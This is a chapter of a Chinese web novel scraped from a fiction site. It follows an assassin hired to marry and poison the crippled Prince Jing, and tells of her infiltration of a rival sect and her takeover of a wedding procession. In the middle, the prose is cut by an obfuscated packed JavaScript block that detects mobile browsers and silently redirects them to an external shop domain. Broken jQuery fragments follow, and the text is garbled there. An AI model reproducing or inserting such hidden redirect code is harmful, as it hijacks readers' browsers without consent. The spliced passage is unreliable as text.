文趣网 > 其他小说 > 替嫁瘸腿靖王后 > 1. 替嫁
    嘉元二十九年,春,大乾与南疆止戈的第五年,期间边境屡屡有摩擦,双方各有图谋。

    大乾皇帝第四子靖王主动为质南疆也已十年,且双腿病残,饱受折磨。

    帝遂下令,以一城作为交换,且令沈氏女资十万将靖王召回。

    ——

    是夜,极黑。

    是雨,极暴。

    沈瓷冒险来到天群山脚下,青云楼前。

    “有一买卖,天衣阁可做得?”

    天衣阁乃是江湖最神秘的组织,情报天下第一,拥有天下最顶级的刺客以及暗卫。

    凡是从天衣阁中练过一圈的的,哪怕只是初入门的三脚猫,重入江湖也能跻身一流高手行列。

    狂风又至,青云楼无人回应,却有一人提着人头而来。

    此人金衣银带,面具上轻巧的凹痕将雨水轻易隔开,不至于模糊视线。

    “阁下可是赫赫有名的一品金衣刺客?”

    秦屿淡淡地看了她一眼。

    “不错。”

    沈瓷心中狂喜,这秦屿贪财是出了名的。

    “我是沈万军的女儿,沈瓷,我一个手无缚鸡之力的女儿家怎么能嫁去南疆?呜呜呜……”

    秦屿抬脚就走,谁知她竟然不顾大雨冲在自己跟前。

    “三千两,黄金,我的诉求是,替我嫁给靖王,让他死在南疆,药死即可。”

    “好,我接了,私人规矩,先付八成定金。”

    沈瓷给随行下人使了个颜色。

    一盒子黄金就端了上来。

    “这是四百两,由此到南疆共有五家钱庄,一家取四百两。”

    “成交。”

    秦屿提着人头,不上青云楼,转而朝着不远处的天堑走去。

    她一跃而上,湿滑的悬崖峭壁并不能阻她分毫,而且她还怀揣着四百两黄金。

    悬崖之上是一座四平八稳的院子。

    她还没进门就手里的人头就被拿了去。

    “新任务,麻烦你了。”

    秦屿打开纸条,是阁主的字样。

    “烟雨楼近年越发猖狂,你易容卧底烟雨楼,查明底细,武林大会前绊住他们,不可横生枝节。”

    秦屿上次的任务做了一年半之久,对于这烟雨楼其实并不熟络,问了几人,原来是新起之秀,隐隐有与天衣阁并列之势,那便马虎不得,尤其还是出自南疆。

    她手里两份任务,做完她定是要休息一年的。

    ——

    一偏僻小镇的长街上,秦屿才取完第二个四百金,就被一帮人围攻。

    她观其阵仗,蓄势已久,是专门为她而来。

    “报上名来。”

    来人不由分说,只是一味拔刀相向。

    秦屿眼尖,发现他们刀上齐齐刻着一个“雨”字,那就是烟雨楼的人了。

    她因接下了沈瓷的单,所以一路上并未隐藏身份,反而给了这帮宵小之徒嚣张的机会。

    瓢泼雨水混着血水。

    千余名黑衣人执刀而立,层层叠叠,将整条街围得水泄不通。

    初春时节,寒气还未完全退去,水滴从剑锋落下,领头的黑衣人一声令下,寒光凛凛。

    刀光如影,紧紧包裹着她。

    “天衣阁的金衣刺客,也不过如此。”

    秦屿勾唇一笑,她是天衣阁的一品金衣刺客,从未失手过,这次也一样。

    这领头的黑色面纱之上露出的眉眼如画,定是个姑娘,正好,借由她的身份打入烟雨楼,正好解了她燃眉之急。

    当这领头的长刀将落,刺入胸口。

    秦屿的手掌正好落在她的肩上。

    指间夹着一柄两指半长的飞镖。

    只听到骨头咔嚓一声响。

    “你做了什么?”

    声音有些粗了。

    “你不必知道。”

    秦屿一挥袖当初数十只飞镖周围就乱作一团。

    她一手抓住斗笠,一手取剑。

    秦屿贴近了他的耳朵。

    “你难道没发现,我与你身上所穿衣物,是一模一样的吗?”

    “你,岂有……”

    他发现自己竟然发不出声音了。

    这怎么可能,一把普通飞镖而已。

    “蠢货,你被点穴了。”

    秦屿唇角上扬,斗笠上扬到一定弧度,眼前出现的是一张美男脸。

    俊脸往下,喉结突出。

    正巧两人隔得不远,秦屿向下一探,抓住了硕大一根。

    她轻微皱眉,自己要找的是个女人。

    此时寒刀已经凑近了她的脖子,刀片割开肌肤。

    生死关头,她只能搏一搏,向下一拽。

    “不知羞耻的贱女人,放手。”

    “卖弄疯骚的骚男人,这样就情动了,你喜欢玩这一招啊,姑奶奶这就满足你。”

    秦屿作收手腕一扭,刀片割破护腕,她饲养的小蛇猛地咬破他的手指。

    陆嘉钰右手后缩,刀随之掉落。

    她则趁机“揩油”一把,牵着他的肩颈转了个圈。

    陆嘉钰从腰间抽短刀插入她的肋下三寸。

    秦屿看准人群中与自己身形相近之人,随之一脚踢中陆嘉钰腹下,命根处。

    “啊!”

    所有人都顾着陆嘉钰,秦屿不动声色地刎了那人的脖子。

    而后复刻了自己身上的伤痕。

    旁的有几个发现她的动作。

    秦屿赶紧放暗箭将这几人封喉。

    她跨步上前。

    “楼主,此人已被属下击毙,只可惜,我们折损了五个兄弟。”

    “无妨,就此打道回府,至于此人,就地剁成肉酱。”

    “是!”

    秦屿亲自上手,先将其面目毁去,剩下的,都是烟雨楼的人干的。

    雨水几乎将她身上的血液都冲刷干净。

    顺利进入烟雨楼,她刚踏进自己的房屋的那一刻马上就被人叫住。

    “鱼刺,新任务,三日后丑时有一只送嫁队伍,你将其拦下来,届时买主亲自与你说,你现在马上下山去。”

    “啊?好。”

    秦屿初到此处,说太多怕是会引起误会。

    三日后,同样的深夜,一道魅影在丛林中穿行。

    秦屿的目标是前面那一支送嫁队伍。

    正要过去,她听到黄金碰撞的声音。

    后方一顶轿子被送来。

    轿帘掀开,正是沈瓷,男装的沈瓷。

    “沈大,公子?”

    “原来阁下认得我,我是沈祺,想必烟雨楼已经同你说了,任务我要求保密,只告知你一人。”

    秦屿点点头。

    “沈公子请说。”

    “就请你,杀了那轿中的新娘,不瞒你说,与其让妹妹饱受折磨而死,不如就让她安乐死。”

    秦屿冷酷的嘴角忍不住抽了抽。

    “就为了这一条性命?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490897|202219||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    她听得出这箱子里的分量很足。

    区区下一个杀手不必需要她。

    而且,沈瓷之前就是找她替嫁,她没上,轿子里的又是何人?

    “果然是聪明人,我要你杀了她,然后代替妹妹出嫁,半年时间,取靖王性命,替我妹妹陪葬。”

    沈瓷说得情真意切,不过真是令人作呕。

    “好,我答应了。”

    这一盒金子落到秦屿手里。

    “一千五百两金子。”

    秦屿心中暗算,她之前因意外进入烟雨楼,其他定金尚未去取。

    难道说上次与烟雨楼遇上,也有她的手笔?

    沈瓷想让靖王死是毋庸置疑的。

    可是取两家刺客替嫁?

    新娘只会有一个,只要其中一位刺客死了,两家都矛盾就会激化。

    靖王一死,必定引发战乱。

    罪名或在南疆的烟雨楼,或在武林的天衣阁。

    此计若成,怕是一石三鸟真是好算计。

    “定不会叫公子失望。”

    她捻一片青叶击倒一人,换上此人的衣服,混进迎亲队伍当中。

    半夜趁众人懈怠时往水里加了蒙汗药,这伙人便晕厥过去。

    手才接近轿子,一把利刃迅疾而出,她眼尖,徒手劈向手腕,刀子落地,将新娘拉扯出来,手心压弯她的脖子。

    劲风吹落红盖头。

    “老秦!”

    比针尖还细的声音穿透她的耳膜。

    熟人对掏,分外眼红。

    “笼包,怎么是你啊?”

    秦屿赶忙松手甩了甩。

    陇沅这下不乐意,哪有掐了脖子连句赔礼都没有的,这模样像是嫌弃她脏似的。

    “你,干嘛来的?”

    “我……当然是手起刀落。”

    秦屿比了一个抹脖子的手势,腕带里抽出一块刀片贴着陇沅的肌肤。

    “胡说,阁主怎么可能,这样对我。”

    陇沅一把推开她。

    她们都是天衣阁的核心成员。

    秦屿是一品金衣刺客,接的都是秘密任务,此次受命卧底于烟雨楼,谁曾想这路上竟然遇到了陇沅。

    “笼包不错啊,竟然嫁靖王了。”

    她有意试探,看看那沈瓷是如何与陇沅交涉的。

    只可惜当初她来得急,加上赏金丰厚,未曾与天衣阁报备。

    “什么,断了腿的靖王?可恶,珞狮那贱人阴我。”

    陇沅当即给身上这些装饰物都扔轿子里。

    秦屿却是看不明白了,难道沈瓷没有跟她交涉,怎么还与另一人有关联。

    “不,你什么意思?”

    陇沅耐心解释道:

    “害,天衣阁接了个单子,是替嫁,然后把他给刀了,这本来是珞狮的,然后……”

    她挤出一个讨好的笑容,对视一眼,秦屿就知道这货肚子里打着什么样的小九九。

    “然后你小子贪图美色把任务给截胡了?提前恭喜你啊,我走了。”

    陇沅狠狠拽住她。

    “老秦,你看那边,阁主来了。”

    秦屿偏头,陇沅抢了她的快马,拍拍马屁股就开溜。

    “老秦这次我就不打你小报告了——”

    秦屿冷笑两声,这怂货就知道临阵脱逃。

    她换上新娘的衣服,进入轿中。

    天边泛起鱼肚白,众人并没有发现昨夜的异常。